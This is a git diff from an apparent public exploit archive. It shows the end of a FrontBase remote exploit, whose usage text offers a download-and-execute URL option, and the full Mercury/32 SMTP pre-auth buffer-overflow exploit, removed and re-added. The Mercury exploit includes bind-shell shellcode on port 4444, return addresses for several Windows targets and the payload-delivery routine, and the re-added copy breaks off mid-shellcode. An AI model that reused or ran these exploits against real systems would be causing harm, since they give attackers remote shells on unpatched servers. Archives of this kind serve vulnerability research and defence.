+	if (fbcmdErrorsFound(meta) != 0)
+	{
+		printf("[-] Failed to send buffer\n");
+		FBCErrorMetaData* emd = fbcdcErrorMetaData(fbdc, meta);
+		char* msgs = fbcemdAllErrorMessages(emd);		
+		fbcemdRelease(emd);
+		free(msgs);
+		fbcmdRelease(meta);
+		fbcdcClose(fbdc);
+		fbcdcRelease(fbdc);
+		return -1;
+	}
+	fbcmdRelease(meta);
+	return 1;
+}
+
+
+// alphanumeric encoder took from "ALPHA 2: Zero-tolerance." code
+int alphanumeric_encoder_thx_to_skylined(char *to_encode, char *encoded )
+{
+  int   i,ii=0, input, A, B, C, D, E, F, length=(int)strlen(to_encode);
+  char* valid_chars = "0123456789BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; // mixed chars
+  char temp[10];
+  memset(temp, 0 , sizeof(temp));
+  memset(encoded,0x00,1000);  
+  srand((int)clock());  
+  while( (input = to_encode[ii++]) != 0 ) {
+    A = (input & 0xf0) >> 4;
+    B = (input & 0x0f);
+    F = B;
+    i = rand() % ((int)strlen(valid_chars));
+    while ((valid_chars[i] & 0x0f) != F) { i = ++i % ((int)strlen(valid_chars)); }
+    E = valid_chars[i] >> 4;
+    D = (A^E);
+    i = rand() % ((int)strlen(valid_chars));
+    while ((valid_chars[i] & 0x0f) != D) { i = ++i % ((int)strlen(valid_chars)); }
+    C = valid_chars[i] >> 4;
+    sprintf(temp,"%c%c", (C<<4)+D, (E<<4)+F);
+    encoded[strlen(encoded)]=temp[0];
+	encoded[strlen(encoded)]=temp[1];
+  }
+  encoded[strlen(encoded)]='A';
+  return 0;
+}
+
+
+
+// -----------------------------------------------------------------
+// XGetopt.cpp  Version 1.2
+// -----------------------------------------------------------------
+int getopt(int argc, char *argv[], char *optstring)
+{
+	static char *next = NULL;
+	if (optind == 0)
+		next = NULL;
+
+	optarg = NULL;
+
+	if (next == NULL || *next == '\0')
+	{
+		if (optind == 0)
+			optind++;
+
+		if (optind >= argc || argv[optind][0] != '-' || argv[optind][1] == '\0')
+		{
+			optarg = NULL;
+			if (optind < argc)
+				optarg = argv[optind];
+			return EOF;
+		}
+
+		if (strcmp(argv[optind], "--") == 0)
+		{
+			optind++;
+			optarg = NULL;
+			if (optind < argc)
+				optarg = argv[optind];
+			return EOF;
+		}
+
+		next = argv[optind];
+		next++;		// skip past -
+		optind++;
+	}
+
+	char c = *next++;
+	char *cp = strchr(optstring, c);
+
+	if (cp == NULL || c == ':')
+		return '?';
+
+	cp++;
+	if (*cp == ':')
+	{
+		if (*next != '\0')
+		{
+			optarg = next;
+			next = NULL;
+		}
+		else if (optind < argc)
+		{
+			optarg = argv[optind];
+			optind++;
+		}
+		else
+		{
+			return '?';
+		}
+	}
+
+	return c;
+}
+// -----------------------------------------------------------------
+// -----------------------------------------------------------------
+// -----------------------------------------------------------------
+
+
+
+
+void usage(char * s)
+{	
+	printf("   Usage: %s -h <host> -p <port> -s <shellcode> -t <target> -u <user> -p <password> -d <database> -D <dbpassword> -x <url>\n", s);
+    printf(" ----------------------------------------------------------------------- \n");
+	printf("   Arguments:\n");
+	printf("\n");
+	printf("      -h <host>       the host IP to attack\n");
+	printf("      -p <port>       the port of server      (default: -1     )\n");
+	printf("      -s <shellcode>  shellcode number        (default: 1      )\n");
+	printf("      -t <target>     target number           (default: 1      )\n");
+	printf("      -u <user>       user name of frontbase  (default: _SYSTEM)\n");
+	printf("      -p <password>   user password           (default: <blank>)\n");
+	printf("      -d <database>   database (if port = -1) (default: <blank>)\n");
+	printf("      -D <dbpassword> database password       (default: <blank>)\n");
+	printf("      -x <url>        URL to executable       (default: <blank>)\n");
+	printf("\n");
+	printf("   Shellcodes:\n\n");
+	for(int i=0; shellcodes[i].name!=0;i++)
+	{
+		printf("      %d. %s \n",i+1,shellcodes[i].name);				
+	}	
+	printf("\n");
+	printf("   Targets:\n\n");
+	for(int j=0; targets[j].t!=0;j++)
+	{
+		printf("      %d. %s\n",j+1,targets[j].t);
+	}		
+	printf("\n");
+	printf("   Examples:\n\n");
+	printf("    %s -h 127.0.0.1 -d New\n", s);
+	printf("    %s -h 127.0.0.1 -p 1155 -u root -p dta -D dta -t 1\n", s);
+	printf("    %s -h 127.0.0.1 -d New -t 5 -s 2 -x http://dreatica.com/calc.exe\n", s);
+	printf(" ----------------------------------------------------------------------- \n");	
+}
+
+void logo()
+{
+	printf(" ####################################################################### \n");	
+	printf(" #     ____                 __  _                  ______  __    _____ #\n");
+	printf(" #    / __ \\________  _____/ /_(_)_________       / __/\\ \\/ /   / _  / #\n");
+	printf(" #   / / / / ___/ _ \\/ __ / __/ / ___/ __ / ___  / /    \\  /   / // /  #\n");
+	printf(" #  / /_/ / / /  ___/ /_// /_/ / /__/ /_// /__/ / _/    /  \\  / ___/   #\n");
+	printf(" # /_____/_/  \\___/ \\_,_/\\__/_/\\___/\\__,_/     /_/     /_/\\_\\/_/       #\n");
+	printf(" #                                 crew                                #\n");
+	printf(" ####################################################################### \n");	
+	printf(" #  Exploit : Frontbase <= 4.2.7 for Windows (multiple targets)        # \n");
+	printf(" #  Tested  : Frontbase 4.1.16 and 4.2.7                               # \n");
+	printf(" #  Author  : Heretic2 (heretic2x@gmail.com)                           # \n");
+	printf(" #  Version : 2.2                                                      # \n");
+	printf(" #  System  : Windows XP SP0-SP2                                       # \n");
+	printf(" #  Date    : 02.04.2007                                               # \n");
+	printf(" # ------------------------------------------------------------------- # \n");
+}
+
+// milw0rm.com [2007-04-02]
diff --git a/platforms/windows/remote/4316.cpp b/platforms/windows/remote/4316.cpp
index 835ac7c55..6a8163517 100755
--- a/platforms/windows/remote/4316.cpp
+++ b/platforms/windows/remote/4316.cpp
@@ -1,587 +1,587 @@
-/* Dreatica-FXP crew
-* 
-* ----------------------------------------
-* Target         : Mercury/32 SMTP Server
-* Found by       : muts@offensive-security.com, http://www.offensive-security.com
-* ----------------------------------------
-* Exploit        : Mercury/32 v3.32-v4.51 SMTP Pre-Auth EIP overwrite exploit
-* Exploit date   : 26.08.2007
-* Exploit writer : Heretic2 (heretic2x@gmail.com)
-* OS             : Windows ALL 
-* Crew           : Dreatica-FXP
-* ----------------------------------------
-* Info           : The EIP overwrite exploitation is easy here and works on previous versions of the
-*                  Mercury/32, like 4.01a, 4.01b and may be earlier. 
-* ----------------------------------------
-* Thanks to:
-*       1. eliteb0y                    (                                                  )
-*       2. The Metasploit project      ( http://metasploit.com                            ) 
-*       3. http://www.ph4nt0m.org      (                                                  ) 
-*       4. Dreatica-FXP crew           (                                                  )
-* ----------------------------------------
-* This was written for educational purpose only. Use it at your own risk. Author will be not be 
-* responsible for any damage, caused by that code.
-************************************************************************************
-*/
-
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <winsock2.h>
-#pragma comment(lib,"ws2_32")
-#include <ctype.h>
-
-
-
-
-void usage(char * s);
-void logo();
-void end_logo();
-void prepare_shellcode(unsigned char * fsh, int sh);
-void make_buffer(unsigned char * buf, unsigned int * len, int itarget, int sh);
-int send_buffer(unsigned char * buf, unsigned int len, char * remotehost, int port);
-SOCKET do_connect (char *remotehost, int port);
-
-void base64_encode(unsigned char const* bytes_to_encode, unsigned int in_len, char * ret) ;
-void base64_decode(char const * encoded_string, char * ret) ;
-
-// -----------------------------------------------------------------
-// XGetopt.cpp  Version 1.2
-// -----------------------------------------------------------------
-int getopt(int argc, char *argv[], char *optstring);
-char	*optarg;		// global argument pointer
-int		optind = 0, opterr; 	// global argv index
-// -----------------------------------------------------------------
-// -----------------------------------------------------------------
-
-
-struct {
-	const char *t ;
-	unsigned long ret ;
-} targets[]= 
-		{	
-			{"UNIVERSAL: Mercury/32 SMTP v4.51 [TER32.dll  ]",        0x258d0d1e },// jmp esp						
-			{"Windows XP SP0 RUSSIAN           [shell32.dll]",        0x77b49bbb },// jmp esp
-			{"Windows XP SP1 RUSSIAN           [user32.dll ]",        0x77db532f },// jmp esp
-			{"Windows XP SP2 RUSSIAN           [shell32.dll]",        0x7d168fe7 },// jmp esp
-			{"Windows 2003 SP0 STANDART        [shell32.dll]",        0x77b0f967 },// jmp esp
-			{"Debug",                                                 0x42424242 },// 
-			{NULL,                                                    0x00000000 }
-		};
-
-
-
-struct {
-	const char * name;
-	int length;
-	char * shellcode;
-}shellcodes[]={ 	
-	 {"Bindshell, port 4444   [ args: none ]", 344, 
-		 /* win32_bind -  EXITFUNC=seh LPORT=4444 Size=344 Encoder=Pex http://metasploit.com */
-		"\x2b\xc9\x83\xe9\xb0\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x02"
-		"\x6b\x82\x87\x83\xee\xfc\xe2\xf4\xfe\x01\x69\xca\xea\x92\x7d\x78"
-		"\xfd\x0b\x09\xeb\x26\x4f\x09\xc2\x3e\xe0\xfe\x82\x7a\x6a\x6d\x0c"
-		"\x4d\x73\x09\xd8\x22\x6a\x69\xce\x89\x5f\x09\x86\xec\x5a\x42\x1e"
-		"\xae\xef\x42\xf3\x05\xaa\x48\x8a\x03\xa9\x69\x73\x39\x3f\xa6\xaf"
-		"\x77\x8e\x09\xd8\x26\x6a\x69\xe1\x89\x67\xc9\x0c\x5d\x77\x83\x6c"
-		"\x01\x47\x09\x0e\x6e\x4f\x9e\xe6\xc1\x5a\x59\xe3\x89\x28\xb2\x0c"
-		"\x42\x67\x09\xf7\x1e\xc6\x09\xc7\x0a\x35\xea\x09\x4c\x65\x6e\xd7"
-		"\xfd\xbd\xe4\xd4\x64\x03\xb1\xb5\x6a\x1c\xf1\xb5\x5d\x3f\x7d\x57"
-		"\x6a\xa0\x6f\x7b\x39\x3b\x7d\x51\x5d\xe2\x67\xe1\x83\x86\x8a\x85"
-		"\x57\x01\x80\x78\xd2\x03\x5b\x8e\xf7\xc6\xd5\x78\xd4\x38\xd1\xd4"
-		"\x51\x38\xc1\xd4\x41\x38\x7d\x57\x64\x03\x93\xdb\x64\x38\x0b\x66"
-		"\x97\x03\x26\x9d\x72\xac\xd5\x78\xd4\x01\x92\xd6\x57\x94\x52\xef"
-		"\xa6\xc6\xac\x6e\x55\x94\x54\xd4\x57\x94\x52\xef\xe7\x22\x04\xce"
-		"\x55\x94\x54\xd7\x56\x3f\xd7\x78\xd2\xf8\xea\x60\x7b\xad\xfb\xd0"
-		"\xfd\xbd\xd7\x78\xd2\x0d\xe8\xe3\x64\x03\xe1\xea\x8b\x8e\xe8\xd7"
-		"\x5b\x42\x4e\x0e\xe5\x01\xc6\x0e\xe0\x5a\x42\x74\xa8\x95\xc0\xaa"
-		"\xfc\x29\xae\x14\x8f\x11\xba\x2c\xa9\xc0\xea\xf5\xfc\xd8\x94\x78"
-		"\x77\x2f\x7d\x51\x59\x3c\xd0\xd6\x53\x3a\xe8\x86\x53\x3a\xd7\xd6"
-		"\xfd\xbb\xea\x2a\xdb\x6e\x4c\xd4\xfd\xbd\xe8\x78\xfd\x5c\x7d\x57"
-		"\x89\x3c\x7e\x04\xc6\x0f\x7d\x51\x50\x94\x52\xef\xf2\xe1\x86\xd8"
-		"\x51\x94\x54\x78\xd2\x6b\x82\x87"	
-	 },	  	
-	{NULL , NULL }
-};
-
-
-// -----------------------------------------------------------------
-// BASE64
-// -----------------------------------------------------------------
-
-char base64_chars[] = 
-             "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
-             "abcdefghijklmnopqrstuvwxyz"
-             "0123456789+/";
-
-
-static inline bool is_base64(unsigned char c) {
-  return (isalnum(c) || (c == '+') || (c == '/'));
-}
-
-void base64_encode(unsigned char const* bytes_to_encode, unsigned int in_len, char * ret) 
-{
-  int i = 0;
-  int j = 0;
-  unsigned char char_array_3[3];
-  unsigned char char_array_4[4];
-
-  while (in_len--) 
-  {
-    char_array_3[i++] = *(bytes_to_encode++);
-    if (i == 3) {
-      char_array_4[0] = (char_array_3[0] & 0xfc) >> 2;
-      char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4);
-      char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6);
-      char_array_4[3] = char_array_3[2] & 0x3f;
-
-      for(i = 0; (i <4) ; i++)
-		ret[strlen(ret)]=base64_chars[char_array_4[i]];
-        //ret += base64_chars[char_array_4[i]];
-      i = 0;
-    }
-  }
-
-  if (i)
-  {
-    for(j = i; j < 3; j++)
-      char_array_3[j] = '\0';
-
-    char_array_4[0] = (char_array_3[0] & 0xfc) >> 2;
-    char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4);
-    char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6);
-    char_array_4[3] = char_array_3[2] & 0x3f;
-
-    for (j = 0; (j < i + 1); j++)
-		ret[strlen(ret)]=base64_chars[char_array_4[j]];
-      //ret += base64_chars[char_array_4[j]];
-
-    while((i++ < 3))
-		ret[strlen(ret)]='=';
-      //ret += '=';
-
-  }
-
-
-}
-
-void base64_decode(char const * encoded_string, char * ret) 
-{
-  int in_len = strlen(encoded_string);//encoded_string.size();
-  int i = 0;
-  int j = 0;
-  int in_ = 0;
-  unsigned char char_array_4[4], char_array_3[3];
-
-  while (in_len-- && ( encoded_string[in_] != '=') && is_base64(encoded_string[in_])) 
-  {
-    char_array_4[i++] = encoded_string[in_]; in_++;
-    if (i ==4) {
-      for (i = 0; i <4; i++)
-        char_array_4[i] = strchr(base64_chars, char_array_4[i])-base64_chars;//base64_chars.find(char_array_4[i]);
-
-      char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4);
-      char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2);
-      char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3];
-
-      for (i = 0; (i < 3); i++)
-		  ret[strlen(ret)]=char_array_3[i];
-        //ret += char_array_3[i];
-      i = 0;
-    }
-  }
-
-  if (i) {
-    for (j = i; j <4; j++)
-      char_array_4[j] = 0;
-
-    for (j = 0; j <4; j++)
-      char_array_4[j] = strchr(base64_chars, char_array_4[j])-base64_chars;//base64_chars.find(char_array_4[j]);
-
-    char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4);
-    char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2);
-    char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3];
-
-    for (j = 0; (j < i - 1); j++) ret[strlen(ret)]=char_array_3[j];//ret += char_array_3[j];
-  }
-
-}
-
-// -----------------------------------------------------------------
-// -----------------------------------------------------------------
-// -----------------------------------------------------------------
-
-
-
-int main(int argc, char **argv)
-{
-	char * remotehost=NULL;
-	char default_remotehost[]="127.0.0.1";
-	char temp1[100], temp2[100];
-	int port, itarget, sh;
-	SOCKET s;
-	char c;	
-	logo();
-	WSADATA wsa;
-	WSAStartup(MAKEWORD(2,0), &wsa);
-	if(argc<2)
-	{
-		usage(argv[0]);		
-		return -1;
-	}
-
-	// set defaults
-	port=25;
-	itarget=0;
-	sh=0;
-	// ------------	
-	
-	while((c = getopt(argc, argv, "h:p:s:t:"))!= EOF)
-	{
-		switch (c)
-		{
-			case 'h':
-				remotehost=optarg;
-				break; 	
-			case 's':
-				sscanf(optarg, "%d", &sh);
-				sh--;
-				break;
-			case 't':
-				sscanf(optarg, "%d", &itarget);
-				itarget--;
-				break;
-			case 'p':
-				sscanf(optarg, "%d", &port);
-				break;
-			default:
-	            usage(argv[0]);
-				WSACleanup();
-			return -1;
-		}		
-	}	
-	if(remotehost == NULL) remotehost=default_remotehost;
-	memset(temp1,0,sizeof(temp1));
-	memset(temp2,0,sizeof(temp2));
-	memset(temp1, '\x20' , 58 - strlen(remotehost) -1);	
-	printf(" #  Host    : %s%s# \n", remotehost, temp1);	
-	sprintf(temp2, "%d", port);
-	memset(temp1,0,sizeof(temp1));
-	memset(temp1, '\x20' , 58 - strlen(temp2) -1);
-	printf(" #  Port    : %s%s# \n", temp2, temp1);
-	memset(temp1,0,sizeof(temp1));	
-	memset(temp2,0,sizeof(temp2));
-	sprintf(temp2, "%s", shellcodes[sh].name );
-	memset(temp1, '\x20' , 58 - strlen(temp2) -1);	
-	printf(" #  Payload : %s%s# \n", temp2, temp1);	
-	if(itarget>=0)
-	{
-		memset(temp1,0,sizeof(temp1));	
-		memset(temp1, '\x20' , 57 - strlen(targets[itarget].t) -1);	
-		printf(" #  Target  : %s%s# \n", targets[itarget].t, temp1);
-	}else
-	{		
-		printf(" # ------------------------------------------------------------------- # \n");
-		printf("[-] Target is invalid\n");
-		end_logo();
-		return -1;		
-	}	
-	printf(" # ------------------------------------------------------------------- # \n");
-	fflush(stdout);
-	printf("[+] Checking if server is online\n");
-	fflush(stdout);
-
-	s=do_connect(remotehost, port);   
-	if(s==-1)
-	{
-		printf("[-] Server is OFFLINE\n");
-		end_logo();
-		return 0;
-	}
-	closesocket(s);
-	printf("[+] Server is ONLINE\n");
-
-	
-	
-	
-	unsigned char buf[50000];
-	unsigned int len;
-	memset(buf,0,sizeof(buf));
-	fflush(stdout);
-	make_buffer(buf, &len, itarget, sh);
-
-	printf("[+] Attacking buffers constructed\n");
-	if(send_buffer(buf, len, remotehost,port)==-1)
-	{
-		printf("[-] Cannot exploit server %s\n", remotehost);
-		end_logo();
-		WSACleanup();
-		return -1;
-	}
-
-	printf("[+] Buffer sent");
-	printf("[+] Now try connect to %s:%d\n", remotehost, 4444);	
-	end_logo();
-	return 0;
-}
-
-
-
-SOCKET do_connect (char *remotehost, int port)
-{
-   static struct hostent *host;
-   static struct sockaddr_in addr;
-   SOCKET s;	
-       host = gethostbyname(remotehost);
-       if (!host)
-       {
-           perror("[-] gethostbyname() failed");
-           return -1;
-       }
-       addr.sin_addr = *(struct in_addr*)host->h_addr;
-
-   s = socket(PF_INET, SOCK_STREAM, 0);
-   if (s == -1)
-   {
-       closesocket(s);
-       perror("socket() failed");
-       return -1;
-   }
-
-   addr.sin_port = htons(port);
-   addr.sin_family = AF_INET;
-
-   if (connect(s, (struct sockaddr*)&addr, sizeof(addr)) == -1)
-   {
-       closesocket(s);
-      
-       return -1;
-   }
-   return s;
-}
-
-
-void prepare_shellcode( char * fsh, unsigned int * fshlen, int sh)
-{
-	memcpy(fsh, shellcodes[sh].shellcode, shellcodes[sh].length);
-	*fshlen = shellcodes[sh].length;	
-}
-
-void make_buffer(unsigned char * buf, unsigned int * len, int itarget, int sh)
-{
-	// prepare shellcode
-	char fsh[10000];	
-	unsigned int fshlen;
-	memset(fsh, 0, sizeof(fsh));	
-	prepare_shellcode(fsh, &fshlen, sh);
-	// -----------------
-
-	// make buffer with shellcode inside
-	unsigned char * cp=buf;
-
-		// init
-	memset(cp, '\x41', 1300);
-	cp+=204;
-
-		// replace EIP
-	*cp++ = (char)((targets[itarget].ret      ) & 0xff);
-	*cp++ = (char)((targets[itarget].ret >>  8) & 0xff);
-	*cp++ = (char)((targets[itarget].ret >> 16) & 0xff);
-	*cp++ = (char)((targets[itarget].ret >> 24) & 0xff);
-
-		// jff
-	*cp++ = '\x90';
-	*cp++ = '\x90';
-	*cp++ = '\x90';
-	*cp++ = '\x90';
-
-		// copy the shellcode
-	memcpy(cp, fsh, fshlen);
-	cp+=fshlen;
-
-	*len = (unsigned int)(cp-buf);
-	// -----------------
-	
-
-}
-
-
-
-int send_buffer(unsigned char * buf, unsigned int len, char * remotehost, int port)
-{
-	char bufmax[4096], sendbuf[5000];
-	SOCKET s;
-
-	s = do_connect(remotehost, port);
-	memset(bufmax, 0 , sizeof(bufmax));
-	recv(s, bufmax, sizeof(bufmax),0);
-	bufmax[sizeof(bufmax)-1] = 0;
-	printf("[+] Server: %s\n", bufmax);
-
-	// send EHLO
-	memset(sendbuf, 0, sizeof(sendbuf));
-	strcat(sendbuf, "EHLO Dreatica-FXP\r\n");
-	printf("[+] Request: EHLO Dreatica-FXP\n");
-	send(s, sendbuf, (int)strlen(sendbuf),0);
-	
-	// send AUTH CRAM-MD5
-	memset(sendbuf, 0, sizeof(sendbuf));
-	strcat(sendbuf, "AUTH CRAM-MD5\r\n");
-	printf("[+] Request: AUTH CRAM-MD5\n");
-	send(s, sendbuf, (int)strlen(sendbuf),0);
-
-	
-	// i don't make the correct recv procedure like Zhenhan.Liu have done in his code
-	// just put 3 recv for that
-	memset(bufmax, 0 , sizeof(bufmax));
-	recv(s, bufmax, sizeof(bufmax),0);
-	bufmax[sizeof(bufmax)-1] = 0;
-	printf("[+] Reply: %s\n",bufmax);	
-	memset(bufmax, 0 , sizeof(bufmax));
-	recv(s, bufmax, sizeof(bufmax),0);
-	bufmax[sizeof(bufmax)-1] = 0;
-	printf("[+] Reply: %s\n",bufmax);
-	memset(bufmax, 0 , sizeof(bufmax));
-	recv(s, bufmax, sizeof(bufmax),0);
-	bufmax[sizeof(bufmax)-1] = 0;
-	printf("[+] Reply: %s\n",bufmax);
-
-	// ALL is OKE	
-	printf("[+] Sending payload...\n");
-	memset(sendbuf, 0, sizeof(sendbuf));
-	base64_encode(buf, len, sendbuf);
-	sendbuf[strlen(sendbuf)]= '\r';
-	sendbuf[strlen(sendbuf)]= '\n';
-	send(s, sendbuf, (int)strlen(sendbuf), 0);
-	
-	closesocket(s);
-	return 1;
-}
-
-
-// -----------------------------------------------------------------
-// XGetopt.cpp  Version 1.2
-// -----------------------------------------------------------------
-int getopt(int argc, char *argv[], char *optstring)
-{
-	static char *next = NULL;
-	if (optind == 0)
-		next = NULL;
-
-	optarg = NULL;
-
-	if (next == NULL || *next == '\0')
-	{
-		if (optind == 0)
-			optind++;
-
-		if (optind >= argc || argv[optind][0] != '-' || argv[optind][1] == '\0')
-		{
-			optarg = NULL;
-			if (optind < argc)
-				optarg = argv[optind];
-			return EOF;
-		}
-
-		if (strcmp(argv[optind], "--") == 0)
-		{
-			optind++;
-			optarg = NULL;
-			if (optind < argc)
-				optarg = argv[optind];
-			return EOF;
-		}
-
-		next = argv[optind];
-		next++;		// skip past -
-		optind++;
-	}
-
-	char c = *next++;
-	char *cp = strchr(optstring, c);
-
-	if (cp == NULL || c == ':')
-		return '?';
-
-	cp++;
-	if (*cp == ':')
-	{
-		if (*next != '\0')
-		{
-			optarg = next;
-			next = NULL;
-		}
-		else if (optind < argc)
-		{
-			optarg = argv[optind];
-			optind++;
-		}
-		else
-		{
-			return '?';
-		}
-	}
-
-	return c;
-}
-// -----------------------------------------------------------------
-// -----------------------------------------------------------------
-// -----------------------------------------------------------------
-
-
-
-void usage(char * s)
-{	
-	printf("\n");
-	printf("    Usage: %s -p <port> -h <host> -s <shellcode> -t <target>\n\n", s);	
-	printf("    Arguments:\n");
-	printf("     -p <port>      Port of the Mercury SMTP (default: 25)\n");
-	printf("     -h <host>      Hostname of the server\n");
-	printf("     -s <shellcode> Payload to use (default: 1)\n");
-	printf("     -t <target>    Target to attack (default: 1)\n");
-	
-	printf("\n");
-	printf("    Shellcodes:\n");
-	for(int i=0; shellcodes[i].name!=0;i++)
-	{
-		printf("      %d. %s\n",i+1,shellcodes[i].name);				
-	}	
-	printf("\n");
-	printf("    Targets:\n");
-	for(int j=0; targets[j].t!=0;j++)
-	{
-		printf("      %d. %s\n",j+1,targets[j].t);
-	}		
-	printf("\n");
-	end_logo();	
-}
-
-void logo()
-{
-	printf("\n\n");
-	printf(" ####################################################################### \n");	
-	printf(" #     ____                 __  _                  ______  __    _____ #\n");
-	printf(" #    / __ \\________  _____/ /_(_)_________       / __/\\ \\/ /   / _  / #\n");
-	printf(" #   / / / / ___/ _ \\/ __ / __/ / ___/ __ / ___  / /    \\  /   / // /  #\n");
-	printf(" #  / /_/ / / /  ___/ /_// /_/ / /__/ /_// /__/ / _/    /  \\  / ___/   #\n");
-	printf(" # /_____/_/  \\___/ \\_,_/\\__/_/\\___/\\__,_/     /_/     /_/\\_\\/_/       #\n");
-	printf(" #                                 crew                                #\n");
-	printf(" ####################################################################### \n");	
-	printf(" #  Exploit : Mercury/32 v3.32-v4.51 SMTP EIP overwrite exploit        # \n");
-	printf(" #  Tested  : Mercury/32 SMTP v3.32, v4.01a, v4.51                     # \n");
-	printf(" #  Author  : Heretic2 (http://www.dreatica.cl/)                       # \n");
-	printf(" #  Research: eliteb0y                                                 # \n");
-	printf(" #  Version : 1.0                                                      # \n");
-	printf(" #  System  : Windows ALL                                              # \n");
-	printf(" #  Date    : 26.08.2007                                               # \n");
-	printf(" # ------------------------------------------------------------------- # \n");
-}
-
-void end_logo()
-{
-	printf(" # ------------------------------------------------------------------- # \n");
-	printf(" #                    Dreatica-FXP crew [Heretic2]                     # \n");	
-	printf(" ####################################################################### \n\n");
-}
-
-// milw0rm.com [2007-08-26]
+/* Dreatica-FXP crew
+* 
+* ----------------------------------------
+* Target         : Mercury/32 SMTP Server
+* Found by       : muts@offensive-security.com, http://www.offensive-security.com
+* ----------------------------------------
+* Exploit        : Mercury/32 v3.32-v4.51 SMTP Pre-Auth EIP overwrite exploit
+* Exploit date   : 26.08.2007
+* Exploit writer : Heretic2 (heretic2x@gmail.com)
+* OS             : Windows ALL 
+* Crew           : Dreatica-FXP
+* ----------------------------------------
+* Info           : The EIP overwrite exploitation is easy here and works on previous versions of the
+*                  Mercury/32, like 4.01a, 4.01b and may be earlier. 
+* ----------------------------------------
+* Thanks to:
+*       1. eliteb0y                    (                                                  )
+*       2. The Metasploit project      ( http://metasploit.com                            ) 
+*       3. http://www.ph4nt0m.org      (                                                  ) 
+*       4. Dreatica-FXP crew           (                                                  )
+* ----------------------------------------
+* This was written for educational purpose only. Use it at your own risk. Author will be not be 
+* responsible for any damage, caused by that code.
+************************************************************************************
+*/
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <winsock2.h>
+#pragma comment(lib,"ws2_32")
+#include <ctype.h>
+
+
+
+
+void usage(char * s);
+void logo();
+void end_logo();
+void prepare_shellcode(unsigned char * fsh, int sh);
+void make_buffer(unsigned char * buf, unsigned int * len, int itarget, int sh);
+int send_buffer(unsigned char * buf, unsigned int len, char * remotehost, int port);
+SOCKET do_connect (char *remotehost, int port);
+
+void base64_encode(unsigned char const* bytes_to_encode, unsigned int in_len, char * ret) ;
+void base64_decode(char const * encoded_string, char * ret) ;
+
+// -----------------------------------------------------------------
+// XGetopt.cpp  Version 1.2
+// -----------------------------------------------------------------
+int getopt(int argc, char *argv[], char *optstring);
+char	*optarg;		// global argument pointer
+int		optind = 0, opterr; 	// global argv index
+// -----------------------------------------------------------------
+// -----------------------------------------------------------------
+
+
+struct {
+	const char *t ;
+	unsigned long ret ;
+} targets[]= 
+		{	
+			{"UNIVERSAL: Mercury/32 SMTP v4.51 [TER32.dll  ]",        0x258d0d1e },// jmp esp						
+			{"Windows XP SP0 RUSSIAN           [shell32.dll]",        0x77b49bbb },// jmp esp
+			{"Windows XP SP1 RUSSIAN           [user32.dll ]",        0x77db532f },// jmp esp
+			{"Windows XP SP2 RUSSIAN           [shell32.dll]",        0x7d168fe7 },// jmp esp
+			{"Windows 2003 SP0 STANDART        [shell32.dll]",        0x77b0f967 },// jmp esp
+			{"Debug",                                                 0x42424242 },// 
+			{NULL,                                                    0x00000000 }
+		};
+
+
+
+struct {
+	const char * name;
+	int length;
+	char * shellcode;
+}shellcodes[]={ 	
+	 {"Bindshell, port 4444   [ args: none ]", 344, 
+		 /* win32_bind -  EXITFUNC=seh LPORT=4444 Size=344 Encoder=Pex http://metasploit.com */
+		"\x2b\xc9\x83\xe9\xb0\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x02"
+		"\x6b\x82\x87\x83\xee\xfc\xe2\xf4\xfe\x01\x69\xca\xea\x92\x7d\x78"
+		"\xfd\x0b\x09\xeb\x26\x4f\x09\xc2\x3e\xe0\xfe\x82\x7a\x6a\x6d\x0c"
+		"\x4d\x73\x09\xd8\x22\x6a\x69\xce\x89\x5f\x09\x86\xec\x5a\x42\x1e"
+		"\xae\xef\x42\xf3\x05\xaa\x48\x8a\x03\xa9\x69\x73\x39\x3f\xa6\xaf"
+		"\x77\x8e\x09\xd8\x26\x6a\x69\xe1\x89\x67\xc9\x0c\x5d\x77\x83\x6c"
+		"\x01\x47\x09\x0e\x6e\x4f\x9e\xe6\xc1\x5a\x59\xe3\x89\x28\xb2\x0c"
+		"\x42\x67\x09\xf7\x1e\xc6\x09\xc7\x0a\x35\xea\x09\x4c\x65\x6e\xd7"
+		"\xfd\xbd\xe4\xd4\x64\x03\xb1\xb5\x6a\x1c\xf1\xb5\x5d\x3f\x7d\x57"
+		"\x6a\xa0\x6f\x7b\x39\x3b\x7d\x51\x5d\xe2\x67\xe1\x83\x86\x8a\x85"
+		"\x57\x01\x80\x78\xd2\x03\x5b\x8e\xf7\xc6\xd5\x78\xd4\x38\xd1\xd4"
+		"\x51\x38\xc1\xd4\x41\x38\x7d\x57\x64\x03\x93\xdb\x64\x38\x0b\x66"
+		"\x97\x03\x26\x9d\x72\xac\xd5\x78\xd4\x01\x92\xd6\x57\x94\x52\xef"
+		"\xa6\xc6\xac\x6e\x55\x94\x54\xd4\x57\x94\x52\xef\xe7\x22\x04\xce"
+		"\x55\x94\x54\xd7\x56\x3f\xd7\x78\xd2\xf8\xea\x60\x7b\xad\xfb\xd0"
+		"\xfd\xbd\xd7\x78\xd2\x0d\xe8\xe3\x64\x03\xe1\xea\x8b\x8e\xe8\xd7"
+		"\x5b\x42\x4e\x0e\xe5\x01\xc6\x0e\xe0\x5a\x42\x74\xa8\x95\xc0\xaa"
+		"\xfc\x29\xae\x14\x8f\x11\xba\x2c\xa9\xc0\xea\xf5\xfc\xd8\x94\x78"
